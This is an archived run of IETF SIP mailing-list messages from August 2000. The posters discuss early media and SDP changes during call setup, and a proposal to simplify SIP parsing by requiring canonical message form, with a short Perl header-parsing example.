> > can a Caller tell a Callee to send media according to a *new*
> SDP ? Or "How
> > can I put a call on hold when I hear a remotely generated
> ringback tone ?"
> >
> > Much longer form:
> >
> > It is generaly agreed that making Media and Signaling distinct is a good
> > thing. Amoung other benefit it enables decomposed architectures and more
> > generaly support the locality of concern principle.
> >
> > A prime example of this distinction is SDP usage in SIP. SIP is
> basically
> > concerned by Signaling whereas SDP is about Media.
> >
> > Signaling is mainly about setting up and tearing down
> communications. Media
> > is mainly about payload formats and destinations.
> >
> > It is my understanding that, prior to 183 Session Progress, Media data
> > started to flow only after INVITE's 200 OK final response was
> received or
> > acknowledged (depending on side).
> >
> > Afterward, changes impacting Media (changes in SDPs) occured at any time
> > using re-INVITE. Callee could ask Caller "Please now handle
> Media according
> > to this new SDP". Caller could do the same. This was fine.
> >
> > However, since 183 Provisionnal response was introduced, as
> well as other
> > new occasions to change SDPs during call setup, Media can start to flow
> > well before 200 OK, or even in the total absence of 200 OK.
> >
> > This may introduce an issue regarding control of Media, during
> the setup phase:
> >         Callee can still ask Caller "Please now handle Media
> according to this
> > *new* SDP", simply sending a new 183. However I fear that
> Caller *cannot*
> > ask Callee to change Media any more.
> >
> > To be fully accurate, it seems that Caller could still ask
> Callee to change
> > Media, if SDP is allowed in PRACK, but only in response to
> Callee doing it
> > first. Is SDP legal in PRACK's ack message ?
> >
> > So my question is: "In the presence of Early Media, how can a
> Caller ask a
> > Callee to handle Media according to a new SDP when Caller's INVITE
> > transaction is still not completed ?".
> >
> > One potential solution could be to allow re-INVITE while the
> "main" INVITE
> > is still not completed. It is illegal today. This would introduce
> > "nested-transaction", but I guess that (PR w/SDP + PRACK) is
> already a form
> > of nested transaction, isn't it ?
> >
> > Another solution, probably simplier, would be to enable 183 "both ways":
> > The Caller would have the rigth to send it to the Callee,
> potentially only
> > in the presence of Early Media. But that seems weird, because it is a
> > reponse without a question.
> >
> > If you are guessing "why the hell does this matter ?", please think of
> > potential restrictions if Media cannot change while call is
> beeing setted up.
> >
> > One example related to mobility (probably not 100% relevant,
> not a thread
> > to SIP for Mobility):
> > Lets say I have a decomposed cheap wireless IP phone:
> >         - The expensive UA has a fixed IP address and a full
> featured SIP stack
> > with a fancy Java user application, it handles multiple phones.
> >         - The cheap phones have no fixed IP addresses, a very ligth
> > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to
> interact with
> > the UA.
> > Whenever the phone's IP address changes, the UA will change the Media of
> > the involved SIP calls, if any.
> >
> > Now the issue: What if the phone moves while receiving Early Media (say
> > remote ringback tone) ? UA need to tell the Callee about the Calling
> > phone's new IP address. How ?
> >
> > Other, simplier, issues: How do I put a call on hold when I am
> listening to
> > some network generated annoucement ? How can an assistant, dialing on
> > behalf of the boss, transfer the ringing call to the boss when ringback
> > tone is generated remotely ?
> >
> > Any previous art in solving this issue (if it is actually an issue) ?
> > Is there a similar issue in H.323 (Early H.245 related I guess)
> or was it
> > solved ?
> >
> > BTW: A *radical* solution would be to avoid 1xx responses that initiate
> > Early Media and have a 200 OK as soon as media is there (with
> probably some
> > hints that the call/session is not "fully" established). Some
> yet to define
> > "INFO Session Progress" could later on indicate how the call is
> > progressing. This has the merit of beeing compatible with existing
> > implementations.
> >
> > Jean-Hugues Robert
> >
> ------------------------------------------------------------------
> ---------
> > "Fix Bugs First"
> > Sophia General Manager.
> > mailto:jhr@netergynet.com      - We serve providers -
> "Think globally.
> > http://www.netergynet.com     - Hosted PBX solutions -
> Act locally."
> >
> > _______________________________________________
> > SIP mailing list
> > SIP@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/sip
>
> --
> Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
> http://www.dynamicsoft.com
>
>
> _______________________________________________
> SIP mailing list
> SIP@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/sip
>

_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

-- 
Manoj Bhatia                           |        |         |
manojb@cisco.com                       |       :|:       :|:
7025 Kit Creek Road, RTP, NC - 27709   |     :|||||:   :|||||:
Ph: 919-392-3873  IP: 919-991-5714     |  C i s c o S y s t e m s
  --------------1998060515D50709BAF258B8-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 18:05:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09373 for ; Fri, 18 Aug 2000 18:05:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 04ECD4434C; Fri, 18 Aug 2000 18:05:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from bfgbhome.inetint.com (tnt-dal-42-221.dallas.net [209.44.42.221]) by lists.bell-labs.com (Postfix) with ESMTP id 677A644338 for ; Fri, 18 Aug 2000 18:05:11 -0400 (EDT) Received: (from brian@localhost) by bfgbhome.inetint.com (8.9.3/8.9.3) id RAA10701; Fri, 18 Aug 2000 17:04:44 -0500 Date: Fri, 18 Aug 2000 17:04:44 -0500 From: "Brian F. G. Bidulock" To: Pete Cordell Cc: Jonathan Rosenberg , Gethin Liddell , Bertil Engelholm , sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP Message-ID: <20000818170444.C7982@dallas.net> Reply-To: bidulock@dallas.net Mail-Followup-To: Pete Cordell , Jonathan Rosenberg , Gethin Liddell , Bertil Engelholm , sip@lists.bell-labs.com References: <399CFA30.67B6D80B@uab.ericsson.se> <00081814581900.17516@gethin> <399D4DE8.CD027BD@dynamicsoft.com> <001c01c0093c$83ecdd00$0200000a@tkw> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <001c01c0093c$83ecdd00$0200000a@tkw>; from pete@tech-know-ware.com on Fri, Aug 18, 2000 at 06:48:04PM +0100 Organization: Brian F. G. Bidulock, P. Eng. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Pete, Gee, it's so difficult to handle line folding in Perl! It takes a whole line! And gee: that space before the colon on the headers takes three characters of Perl! Those case-insensitive comparisons are soooo difficult! Don't be ridiculous: these aspects of parsing could be coded on an MC6800 chip in assembler in less than an hour! $msg = <>; ($header, $body) = split(/\r?\n\r?\n/,$msg,2); ($start, $header) = split(/\r?\n/,$header,2); $header =~ s/\r?\n\s+/ /g; # handle line folding @headers = split(/(?:^|\r?\n)(\S+?)\s*:\s*/s,$header); shift @headers; %headers = ( @headers ); foreach $k ( keys %headers ) { print $k.': '.$headers{$k} } Pete Cordell wrote: (Fri, 18 Aug 2000 18:48:04) [snip] > I think such advice would remove a whole bunch of potential > interoperability problems between industrial strength implementations and > quick jobs you might knock up in Perl or something to give you some neat > feature. -- Brian F. G. Bidulock bidulock@dallas.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 18:47:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09829 for ; Fri, 18 Aug 2000 18:47:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1A28B4437A; Fri, 18 Aug 2000 18:46:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from tantalum (tantalum.btinternet.com [194.73.73.80]) by lists.bell-labs.com (Postfix) with ESMTP id DB7D344338 for ; Fri, 18 Aug 2000 18:46:53 -0400 (EDT) Received: from [62.7.81.98] (helo=tkw) by tantalum with smtp (Exim 3.03 #83) id 13PuuO-0002ZI-00; Fri, 18 Aug 2000 23:46:41 +0100 Message-ID: <001b01c00966$88d44220$0200000a@tkw> From: "Pete Cordell" To: "Bratakos, Maroula" Cc: References: <613A6A6A3F09D3118F5C00508B2C24FE67AB2D@sd_exchange.nuera.com> Subject: Re: [SIP] Simplify SIP Date: Fri, 18 Aug 2000 23:31:20 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Nothing I said contradicted this point that Jonathan made.... Pete. ============================================= Pete Cordell Tech-Know-Ware pete@tech-know-ware.com +44 1473 635863 ============================================= ----- Original Message ----- From: Bratakos, Maroula To: 'Pete Cordell' ; Jonathan Rosenberg ; Gethin Liddell Cc: Bertil Engelholm ; Sent: 18 August 2000 19:13 Subject: RE: [SIP] Simplify SIP > I'd like to re-interate what Jonathan said in a previous email on this > thread (see below) that there is already a fair amount of SIP out there > already so this discussion might be coming too late. The last thing we need > are interoperability issues with SIP implementations that are coming out at > different times. > > Maroula Bratakos > > -----Original Message----- > From: Pete Cordell [mailto:pete@tech-know-ware.com] > Sent: Friday, August 18, 2000 10:48 AM > To: Jonathan Rosenberg; Gethin Liddell > Cc: Bertil Engelholm; sip@lists.bell-labs.com > Subject: Re: [SIP] Simplify SIP > > > Just to add my two pence... > > I found line folding and the comma separation a bit of a pain when doing our > SIP implementation. > > I feel that if someone does a quick and dirty implementation of SIP, then > this is something they may either forget or just leave out. > > As one of the attractions of SIP is its simplicity (at least the appearance > of such!), then I feel such quick and dirty jobs may appear in a number of > places. This would lead to interoperability problems. > > Therefore I think it would be reasonable for the spec to strongly suggest > that messages generated by a UA should not use line folding and comma > separation. I think such advice would remove a whole bunch of potential > interoperability problems between industrial strength implementations and > quick jobs you might knock up in Perl or something to give you some neat > feature. > > However, I agree that if you want to be industrial strength then you have no > choice but to cope with line-folding and comma separation for ever more. > > Pete. > > ============================================= > Pete Cordell > Tech-Know-Ware > pete@tech-know-ware.com > +44 1473 635863 > ============================================= > > ----- Original Message ----- > From: Jonathan Rosenberg > To: Gethin Liddell > Cc: Bertil Engelholm ; > > Sent: 18 August 2000 15:53 > Subject: Re: [SIP] Simplify SIP > > > > If I had it over again, I would eliminate line folding, case > > insensitivity, and a host of other things. But, when the spec was begun, > > it was decided that rather than inventing new syntax, we would borrow > > from a clearly successful, highly interoperable, well understood > > protocol for which a whole lot of code was available. That meant we > > inherited the good along with the bad. > > > > Because we must be backwards compatible with rfc2543, there is no choice > > but to insist implementations handle line folding and other things (in > > reality its not so bad once you construct a tokenizer than knows about > > line folding. In this way, it is handled once. My old C code for this > > was on the order of 50 lines). We could have rfc2543bis insist on > > sending in some canonical form, but it won't help parsers which must > > anyway handle the various forms. I suppose eventually those could be > > phased out, but there is a fair amount of SIP out there already, so I > > don't know that non-canonical form would be gone that soon. > > > > -Jonathan R. > > > > Gethin Liddell wrote: > > > > > > i agree. > > > > > > the sip specification is not easy to implement, for the main reason > > > that you have to be able to accept the same information in many > > > different ways. > > > > > > conforming to the canonicial form should not be a hardship for anyone > > > and will make everyone's implementations faster thanx to a, probably > > > quite noticable, efficiency gain. > > > > > > On Fri, 18 Aug 2000, Bertil Engelholm wrote: > > > > Hello, > > > > > > > > we would like to start a discussion about the possibility of making > > > > SIP more simple than today. We realize that it's a little late to > > > > make big changes in the protocol at this stage but the change we > > ... snip... > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 18:48:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09883 for ; Fri, 18 Aug 2000 18:48:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 50FE2443B7; Fri, 18 Aug 2000 18:47:08 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from tantalum (tantalum.btinternet.com [194.73.73.80]) by lists.bell-labs.com (Postfix) with ESMTP id 318414433E for ; Fri, 18 Aug 2000 18:46:57 -0400 (EDT) Received: from [62.7.81.98] (helo=tkw) by tantalum with smtp (Exim 3.03 #83) id 13PuuU-0002ZI-00; Fri, 18 Aug 2000 23:46:47 +0100 Message-ID: <001c01c00966$8c87d440$0200000a@tkw> From: "Pete Cordell" To: Cc: References: <399CFA30.67B6D80B@uab.ericsson.se> <00081814581900.17516@gethin> <399D4DE8.CD027BD@dynamicsoft.com> <001c01c0093c$83ecdd00$0200000a@tkw> <20000818170444.C7982@dallas.net> Subject: Re: [SIP] Simplify SIP Date: Fri, 18 Aug 2000 23:49:09 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit An hour - I could do it on a diode in 2 seconds... And where's your handling of comma separation!!! Perl is good at this sort of thing. That's probably why I use it to hack things together. Hence why I mentioned Perl when hacking. But there are other languages that people hack around with that are not quite as good as Perl for this sort of exercise. Why make interoperability problems if they can easily be avoided by generating easier code to parse in the first place. If anything, its the polite thing to do and it doesn't really cost you anything. BTW - You could write a bit of Perl to find where I mentioned something about spaces before colons if you like!! Pete. ============================================= Pete Cordell Tech-Know-Ware pete@tech-know-ware.com +44 1473 635863 ============================================= ----- Original Message ----- From: Brian F. G. Bidulock To: Pete Cordell Cc: Jonathan Rosenberg ; Gethin Liddell ; Bertil Engelholm ; Sent: 18 August 2000 23:04 Subject: Re: [SIP] Simplify SIP > Pete, > > Gee, it's so difficult to handle line folding in Perl! > It takes a whole line! And gee: that space before the > colon on the headers takes three characters of Perl! > Those case-insensitive comparisons are soooo difficult! > > Don't be ridiculous: these aspects of parsing could be > coded on an MC6800 chip in assembler in less than an hour! > > $msg = <>; > ($header, $body) = split(/\r?\n\r?\n/,$msg,2); > ($start, $header) = split(/\r?\n/,$header,2); > $header =~ s/\r?\n\s+/ /g; # handle line folding > @headers = split(/(?:^|\r?\n)(\S+?)\s*:\s*/s,$header); > shift @headers; > %headers = ( @headers ); > foreach $k ( keys %headers ) { > print $k.': '.$headers{$k} > } > > > Pete Cordell wrote: (Fri, 18 Aug 2000 18:48:04) > [snip] > > I think such advice would remove a whole bunch of potential > > interoperability problems between industrial strength implementations and > > quick jobs you might knock up in Perl or something to give you some neat > > feature. > > -- > Brian F. G. Bidulock > bidulock@dallas.net > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 20:04:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA10972 for ; Fri, 18 Aug 2000 20:04:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id AF71644339; Fri, 18 Aug 2000 20:03:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from westhost16.westhost.net (westhost16.westhost.com [216.71.84.74]) by lists.bell-labs.com (Postfix) with ESMTP id 4E59A44338 for ; Fri, 18 Aug 2000 19:42:38 -0400 (EDT) Received: from ipunity.com (w226.z208176132.sjc-ca.dsl.cnc.net [208.176.132.226]) by westhost16.westhost.net (8.8.5/8.8.5) with ESMTP id SAA08167; Fri, 18 Aug 2000 18:37:13 -0500 Message-ID: <399DCA41.7E9FCF29@ipunity.com> Date: Fri, 18 Aug 2000 16:44:01 -0700 From: jimmy Zhang X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: sip Subject: Re: [SIP] white space and SIP References: <399D4CAC.6A3BAAD@dynamicsoft.com> Content-Type: multipart/alternative; boundary="------------5EA01864FFC0CE37FAEE4E2D" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --------------5EA01864FFC0CE37FAEE4E2D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I deeply feel that the syntax description is archaic, we should probably write them in perl's regex format, which should help parsing tremendously. Jonathan Rosenberg wrote: > Gethin Liddell wrote: > > > > For SIP to be efficient and quick, as i'm sure you'll agree it must be, > > it MUST be possible to parse in a message with out having to parse each > > individual header. > > Absolutely. This is what I was trying (and not at all succeeding in > saying) when I said: > > so that you can detect headers without parsing the headers > > > themselves. > > > > > Ignoring the \CR and \LF, it is possible to get the structure of the > > messages and the headers split up by looking for the combination of > > CR, LF and white space indentation. great, this can be done quickly by > > simple byte-by-byte comparison. > > > > This all goes out the window however when we allow, or expect, that in > > `special cases' a `\' at the end of the line actually marks another > > form of continuation. > > > > for example, parsing the fast, efficient, lazy way, the header: > > > > Waring: 307 foo "some info \ > > some more info" > > > > Will be parsed as 2 headers, with the second header being very wrong > > and breaking everything. > > > > If we want this to be parsed properly, then from the very begining we > > have to parse the header and understand it. > > > > So what if we don't understand it? > > I agree. In my coffee-starved state of mind I apparently believed the > escaping would help, but it doesn't. So, I think we need to specify that > if a CR, LF, or CRLF appears in a quoted string, these MUST be properly > line folded. > > -Jonathan R. > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jimmy zhang (jz@ipunity.com) Software Engineer --------------5EA01864FFC0CE37FAEE4E2D Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit I deeply feel that the syntax description is archaic, we should probably write them in perl's regex format, which should help
parsing tremendously.
 

Jonathan Rosenberg wrote:

Gethin Liddell wrote:
>
> For SIP to be efficient and quick, as i'm sure you'll agree it must be,
> it MUST be possible to parse in a message with out having to parse each
> individual header.

Absolutely. This is what I was trying (and not at all succeeding in
saying) when I said:
> so that you can detect headers without parsing the headers
> > themselves.

>
> Ignoring the \CR and \LF, it is possible to get the structure of the
> messages and the headers split up by looking for the combination of
> CR, LF and white space indentation. great, this can be done quickly by
> simple byte-by-byte comparison.
>
> This all goes out the window however when we allow, or expect, that in
> `special cases' a `\' at the end of the line actually marks another
> form of continuation.
>
> for example, parsing the fast, efficient, lazy way, the header:
>
> Waring: 307 foo "some info \
> some more info"
>
> Will be parsed as 2 headers, with the second header being very wrong
> and breaking everything.
>
> If we want this to be parsed properly, then from the very begining we
> have to parse the header and understand it.
>
> So what if we don't understand it?

I agree. In my coffee-starved state of mind I apparently believed the
escaping would help, but it doesn't. So, I think we need to specify that
if a CR, LF, or CRLF appears in a quoted string, these MUST be properly
line folded.

-Jonathan R.
--
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

-- 


Jimmy zhang (jz@ipunity.com)

Software Engineer
  --------------5EA01864FFC0CE37FAEE4E2D-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 20:04:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA10983 for ; Fri, 18 Aug 2000 20:04:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0DC97443A5; Fri, 18 Aug 2000 20:03:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from westhost16.westhost.net (westhost16.westhost.com [216.71.84.74]) by lists.bell-labs.com (Postfix) with ESMTP id DE70F44338 for ; Fri, 18 Aug 2000 19:37:23 -0400 (EDT) Received: from ipunity.com (w226.z208176132.sjc-ca.dsl.cnc.net [208.176.132.226]) by westhost16.westhost.net (8.8.5/8.8.5) with ESMTP id SAA07581; Fri, 18 Aug 2000 18:31:39 -0500 Message-ID: <399DC8F2.8CDA7BCB@ipunity.com> Date: Fri, 18 Aug 2000 16:38:26 -0700 From: jimmy Zhang X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Marc Petit-Huguenin Cc: Bertil Engelholm , sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP References: <399CFA30.67B6D80B@uab.ericsson.se> <399D4B57.8C0C8172@8x8.com> Content-Type: multipart/alternative; boundary="------------03847E5D868F03D1EDE24A2A" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --------------03847E5D868F03D1EDE24A2A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Just want to add to what you said, Perl's regex package stems from Henry Spencer's v8 regex package written in C. If you don't like that package, you can also look at the perl's source code for regex packages. Even implementing perl's parsing features needed for SIP in C from scratch is also doable, the trick is to only implement what is needed, not any more. So parsing SIP can be done is C, perl, Java, not mentioning assembly. Marc Petit-Huguenin wrote: > I am not sure to agree with this. > SIP is not so difficult to parse and adding such restrictions can have a > negative impact on my personal SIP protocol analyzer (The one I have in > my head :-). > Text-based protocols (HTTP, MGCP, Megaco, SMTP, POP3...) have this > characteristic that they can be easily used with language like Perl, > Java and even directly with telnet. I think this restrictions look like > a step in direction of a binary protocol. > > Just my opinion. > > Bertil Engelholm wrote: > > > > Hello, > > > > we would like to start a discussion about the possibility of making > > SIP more simple than today. We realize that it's a little late to > > make big changes in the protocol at this stage but the change we > > propose seems quite small. This proposal is our personal proposal > > and is not in any way reflecting the Ericsson point of view > > (not yet anyway). > > > > We feel that SIP today is unnecessary complex which costs time > > during development and testing of a SIP parser. It also cost > > execution time which we can see no reason for. Maybe there are > > historic reasons why SIP is specified as it is but since the > > specification does not explain this (which it shouldn't) we > > can't see the reason for certain constructions. We understand > > that HTTP has been a great influence when specifying SIP but > > we have not heard any explanation why. > > > > In general we think SIP allows too many optional ways of doing things. > > Each of these options cost development time, testing time and > > execution time in every SIP enabled product. And since some SIP > > UA most likely is small devices with limited processor power, memory > > size etc. it must be interesting to reduce the amount of code > > needed to parse the SIP messages. > > Every option also adds the possibility of introducing bugs which > > we noticed during the last bakeoff. So by making SIP more > > simple we think it will be easier to develop SIP enabled products > > with better quality in shorter time. This would at the end help > > spreading SIP even faster than today which we hope everyone is > > interested in doing (at least in this mail group). > > > > So what we basically suggest is that only the canonical representation > > should be used. All other formats should be depricated in the same > > way as the different ways of terminating the SIP-headers was depricated > > some time ago. In this way SIP will still be backwards-compatible > > since everyone has to be able to receive the canonical representation. > > It will just take some time for everyone to adapt their code so > > they only send out the canonical representation. After a while it's > > possible to make a new version of SIP that only allows the canonical > > form. Then it's up to everyone to decide if they want to support > > both SIP 2.0 as well as the new version or only the new version. > > > > According to the SIP specification (chapter 13.2 in rfc2543bis-01) > > the canonical representation restricts the SIP syntax in this way : > > > > * No short form header fields; > > * Header field names are capitalized as shown in the rfc; > > * No white space between the header name and the colon; > > * A single space after the colon; > > * Line termination with a CRLF; > > * No line folding; > > * No comma separated lists of header values; each must appear as a > > separate header; > > * Only a single SP between tokens, between tokens and quoted strings, > > and between quoted strings; no SP after last token or quoted string; > > * No LWS between tokens and separators, except as described above for > > after the colon in header fields; > > * The To and From header fields always include the < and > delimiters > > even if the display-name is empty. > > > > We can't see any problem in any of these restrictions. Some of them > > only restricts how many white space characters you are allowed to use > > so those restrictions can't be any problem to introduce. Why send extra > > spaces that only adds unnecessary bytes to the messages ? > > > > To disallow the compact form of the headers might be a problem but > > since using the compact form only saves about 70-80 bytes a UA still > > have to be able to handle the case where the message don't fit in > > one MTU. If this is a real problem why not define a compact form > > for _all_ headers in SIP and only use that form ? > > > > To capitalize the header field names exactly as they are specified > > in the RFC does not seem to be a problem either. Why should it be > > possible to write e.g. Content-Length as cOnTeNt-lEnGtH ? > > > > Line folding is also something we can't see any reason for. Since > > all UA/Servers have to be able to _receive_ any length of a header > > line why can't they _send_ every header in one line ? > > > > To allow a comma separated list in the Via and Record-Route etc. > > is one of the optional things that seems unnecessary. Especially > > since it creates longer lines which means you might need line folding. > > Since all UA that intend to handle Authentication have to use the > > canonical representation anyway why not always use it ? > > > > We realize that it's a little bit late in the SIP development to > > make changes in the protocol but we feel that these changes are > > not very big since it's already specified in the RFC. > > > > If everyone is happy with todays specification we can live with > > it too since we have already implemented it. But we feel that it > > would help SIP to spread faster in the future by making it as > > simple as possible to parse. > > > > So what do you think. Is this proposal something you think > > is worth introducing or is it better to keep things as it is ? > > > > -- > > Bertil Engelholm Bertil.Engelholm@uab.ericsson.se > > Eric Turesson Eric.Turesson@uab.ericsson.se > > > > -- > Marc Petit-Huguenin > Home: mailto:petithug@cyberservices.com > Work: mailto:petithug@8x8.com > "So much to do and so little time" The Joker - Batman (The Movie) > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jimmy zhang (jz@ipunity.com) Software Engineer --------------03847E5D868F03D1EDE24A2A Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit      Just want to add to what you said, Perl's regex package stems from Henry
Spencer's v8 regex package written in C.  If you don't like that package, you
can also look at the perl's source code for regex packages.

     Even implementing perl's parsing features needed for SIP in C from scratch
is also doable, the trick is to only implement what is needed, not any more.

     So parsing SIP can be done is C, perl, Java, not mentioning assembly.
 

Marc Petit-Huguenin wrote:

I am not sure to agree with this.
SIP is not so difficult to parse and adding such restrictions can have a
negative impact on my personal SIP protocol analyzer (The one I have in
my head :-).
Text-based protocols (HTTP, MGCP, Megaco, SMTP, POP3...) have this
characteristic that they can be easily used with language like Perl,
Java and even directly with telnet. I think this restrictions look like
a step in direction of a binary protocol.

Just my opinion.

Bertil Engelholm wrote:
>
> Hello,
>
> we would like to start a discussion about the possibility of making
> SIP more simple than today. We realize that it's a little late to
> make big changes in the protocol at this stage but the change we
> propose seems quite small. This proposal is our personal proposal
> and is not in any way reflecting the Ericsson point of view
> (not yet anyway).
>
> We feel that SIP today is unnecessary complex which costs time
> during development and testing of a SIP parser. It also cost
> execution time which we can see no reason for. Maybe there are
> historic reasons why SIP is specified as it is but since the
> specification does not explain this (which it shouldn't) we
> can't see the reason for certain constructions. We understand
> that HTTP has been a great influence when specifying SIP but
> we have not heard any explanation why.
>
> In general we think SIP allows too many optional ways of doing things.
> Each of these options cost development time, testing time and
> execution time in every SIP enabled product. And since some SIP
> UA most likely is small devices with limited processor power, memory
> size etc. it must be interesting to reduce the amount of code
> needed to parse the SIP messages.
> Every option also adds the possibility of introducing bugs which
> we noticed during the last bakeoff. So by making SIP more
> simple we think it will be easier to develop SIP enabled products
> with better quality in shorter time. This would at the end help
> spreading SIP even faster than today which we hope everyone is
> interested in doing (at least in this mail group).
>
> So what we basically suggest is that only the canonical representation
> should be used. All other formats should be depricated in the same
> way as the different ways of terminating the SIP-headers was depricated
> some time ago. In this way SIP will still be backwards-compatible
> since everyone has to be able to receive the canonical representation.
> It will just take some time for everyone to adapt their code so
> they only send out the canonical representation. After a while it's
> possible to make a new version of SIP that only allows the canonical
> form. Then it's up to everyone to decide if they want to support
> both SIP 2.0 as well as the new version or only the new version.
>
> According to the SIP specification (chapter 13.2 in rfc2543bis-01)
> the canonical representation restricts the SIP syntax in this way :
>
> * No short form header fields;
> * Header field names are capitalized as shown in the rfc;
> * No white space between the header name and the colon;
> * A single space after the colon;
> * Line termination with a CRLF;
> * No line folding;
> * No comma separated lists of header values; each must appear as a
> separate header;
> * Only a single SP between tokens, between tokens and quoted strings,
> and between quoted strings; no SP after last token or quoted string;
> * No LWS between tokens and separators, except as described above for
> after the colon in header fields;
> * The To and From header fields always include the < and > delimiters
> even if the display-name is empty.
>
> We can't see any problem in any of these restrictions. Some of them
> only restricts how many white space characters you are allowed to use
